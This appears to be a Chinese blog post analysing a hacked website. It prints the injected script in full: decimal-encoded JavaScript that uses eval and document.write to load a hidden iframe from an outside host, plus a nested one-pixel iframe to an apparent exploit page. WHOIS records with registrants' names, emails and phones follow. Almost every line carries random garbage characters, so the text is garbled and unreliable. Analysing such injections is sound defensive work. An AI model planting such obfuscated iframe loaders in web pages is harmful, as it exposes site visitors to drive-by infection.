首发在我的博客里面，
"+HJ/8Dd1 L Eb$Fd http://www.areway.cn/?p=175 6Yu:v &f*o rM: 3I6ocj [, 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
nm^HL| iRQ!J1SGcG <script>t=’60,105,102,114,97,109,101,
d0El2Ct8 32,115,114,99,61,104,116,116,112,58,47,47,
S
'a- E![ 102,114,101,101,46,117,45,117,117,117,46,99,
k Dmm 110,47,101,114,114,111,114,46,104,116,109,
R 9XU 7_3B 32,119,105,100,116,104,61,49,48,48,32,104,
t {md&k4 101,105,103,104,116,61,48,62,60,47,105,102,
TW|K.t@5#H 114,97,109,101,62′;
V kQ@c;C t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
kAftW
' D"7}&Ry: <script>t=’60,105,102,114,97,109,101,32,115,
55S s%$k@ 114,99,61,104,116,116,112,58,47,47,102,114,
`TrWtSwv 101,101,46,117,45,117,117,117,46,99,110,47,
)6"}M;v 101,114,114,111,114,46,104,116,109,32,119,
K-RmB4WI 105,100,116,104,61,49,48,48,32,104,101,105,
Et=Pr+Q{c 103,104,116,61,48,62,60,47,105,102,114,97,
JZ5k3#@e 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
X9 x`i document.write(t);</script>
W06aj ~7Z ?cU,%<r <html xmlns=”
|]\zlH"w http://www.w3.org/1999/xhtml f Y<#KM6X “>
AwM`[`ReE <head>
`7 "="T~ * <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
5pQpzn = <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
CPz<iU <title>首页 - 爱生活家庭网
?ZF):}r vZ Q,U0xGGz 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
D An2Pqf 转换字符串后的大概内容是（谁点击后果自付）：
\"lz,bT <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
I G1];vX fdl.3~.C 查询玉米u-uuu.cn的详细信息：
c (Q@5@1y: Domain Name: u-uuu.cn
H:fKv7XL ROID: 20070901s10001s64972306-cn
I}C2;[a B Domain Status: ok
I8xdE(o8+ Registrant Organization: 王雷
( t&RFzE?G Registrant Name: 王雷
K_i|cYGV Administrative Email:
czlovexs@126.com a5 *r1, Sponsoring Registrar: 北京万网志成科技有限公司
ImXYI7PL Name Server:ns.yovole.com
\&"C Name Server:ns1.yovole.com
1%Xh[ Registration Date: 2007-09-01 17:54
w h$bDT Cj Expiration Date: 2008-09-01 17:54
U>S 最后PING了一下地址 都没有什么….
4X kI? l k^5Lv #Z 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
J1w;m/oV <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
`YhGd?uu$ <script language=”javascript” src=”
zv]ZEWVzc http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script d |17G >
yw1 &I^7 这个玉米应该有可能是木马作者的：
BP/nK. foafau.info的详细信息：
lM- 9 J?j Access to INFO WHOIS information is provided to assist persons in
$n<a`PdH determining the contents of a domain name registration record in the
h"FI]jK|} Afilias registry database. The data in this record is provided by
@MSmg3 & Afilias Limited for informational purposes only, and Afilias does not
lQ 8hY$
guarantee its accuracy. This service is intended only for query-based
g '.OzD access. You agree that you will use this data only for lawful purposes
;1k& }v& and that, under no circumstances will you use this data to: (a) allow,
r A~f68h| enable, or otherwise support the transmission by e-mail, telephone, or
Z?)g' n facsimile of mass unsolicited, commercial advertising or solicitations
7;jD>wp 9D to entities other than the data recipient’s own existing customers; or
"O34 E?ql. (b) enable high volume, automated, electronic processes that send
6bm 7^e( queries or data to the systems of Registry Operator, a Registrar, or
,#Z%0NLe Afilias except as reasonably necessary to register domain names or
[LoQYDku modify existing registrations. All rights reserved. Afilias reserves
|UTajEL the right to modify these terms at any time. By submitting this query,
o1AbB?%= you agree to abide by this policy.
l=DF)#>w Domain ID:D22418703-LRMS
*,\v|]fc Domain Name:FOAFAU.INFO
IO)B3,g Created On:20-Nov-2007 16:05:42 UTC
9q'9i9/3d Last Updated On:20-Nov-2007 16:05:44 UTC
" U\RN Expiration Date:20-Nov-2008 16:05:42 UTC
?I+L Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
8dE0y P Status:CLIENT DELETE PROHIBITED
qTJhYx m Status:CLIENT RENEW PROHIBITED
us.#|~i<h Status:CLIENT TRANSFER PROHIBITED
C4+DZ<pE Status:CLIENT UPDATE PROHIBITED
PR8nJts W5 Status:TRANSFER PROHIBITED
>|taU8^|G} Registrant ID:GODA-040110615
JFT$1^n Registrant Name:liu hong
}c/p;< Registrant Organization:
g=Z52y`N < Registrant Street1:beijing
25>R^2,LiE Registrant Street2:
* %D_\0; Registrant Street3:
n`,
<g Registrant City:beijing
)vW'g3u _ Registrant State/Province:
*Fy6 -CC1 Registrant Postal Code:100000
"Zp&7hI Registrant Country:CN
z\ZnxZ@ Registrant Phone:+86.860108888777
\.L j A_ Registrant Phone Ext.:
"J(M. Y Registrant FAX:
J!:BCjRdw Registrant FAX Ext.:
wf 8{ v Registrant Email:bbbshiji@163.com
: >FN|fz Admin ID:GODA-240110615
J (]|)?x2 Admin Name:liu hong
kL8rqv ^ Admin Organization:
=B}IsBn'J Admin Street1:beijing
ng}C$d . I Admin Street2:
+?J N_aR Admin Street3:
)Zq'r L< Admin City:beijing
ciS +.%7 Admin State/Province:
$ nt&'Xnv Admin Postal Code:100000
?fxM 1<8 Admin Country:CN
g89@>?Mn Admin Phone:+86.860108888777
H^d?(Svh Admin Phone Ext.:
l 7-lXl"%q Admin FAX:
Tg{5%~L] Admin FAX Ext.:
#/oH #/? Admin Email:bbbshiji@163.com
Kd:l8%+ Billing ID:GODA-340110615
%o?)`z9- Billing Name:liu hong
D Q.4 b Billing Organization:
e bBi zc= Billing Street1:beijing
r8 9o Billing Street2:
_vTr?jjfK Billing Street3:
UarLxPQ Billing City:beijing
=u2 z3$ Billing State/Province:
D zVCEhf Billing Postal Code:100000
o rjtwF>^ Billing Country:CN
p9"dm{ Billing Phone:+86.860108888777
UT;%I_i!' Billing Phone Ext.:
D;en!.[Z Billing FAX:
m.D8@[y Billing FAX Ext.:
aE~T!h Billing Email:bbbshiji@163.com
N<Sl88+U Tech ID:GODA-140110615
a>47k{RSzE Tech Name:liu hong
m.lR]!Y=w Tech Organization:
oJa} NH
Tech Street1:beijing
#Z1%XCt Tech Street2:
z|pt)Xl Tech Street3:
z/\Ot Yz Tech City:beijing
Mt.Cj;h@^[ Tech State/Province:
/43l}6I Tech Postal Code:100000
e]~p: Tech Country:CN
Ph^1Ko" 2 Tech Phone:+86.860108888777
u+8"W[ZULq Tech Phone Ext.:
$gr>Y 2i Tech FAX:
i^DMnvV. Tech FAX Ext.:
"z9C@T Tech Email:bbbshiji@163.com
R+ HX'W Name Server:NS27.DOMAINCONTROL.COM
_Q+c'q Zkl Name Server:NS28.DOMAINCONTROL.COM
8 dR `T} Name Server:
)0/9
L Name Server:
? ^U? ua6 Name Server:
LK} g<!o( Name Server:
Y E` Y t Name Server:
D$>!vD' Name Server:
9"#C%~ = + Name Server:
|R.yuSL)( Name Server:
[q|W*[B:@ Name Server:
%k#+nad Name Server:
j~N*T XkC Name Server:
@4;'>yr(
B!Wp=9)G 接着下载每个文件里面的代码：
ytY\ &m 一步一步看..
BHY-fb@R]H 
? r !kKMZ 
>2s 6Y 
b;VIR,2 
rpiuFst 
~3 bV~H#~m 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
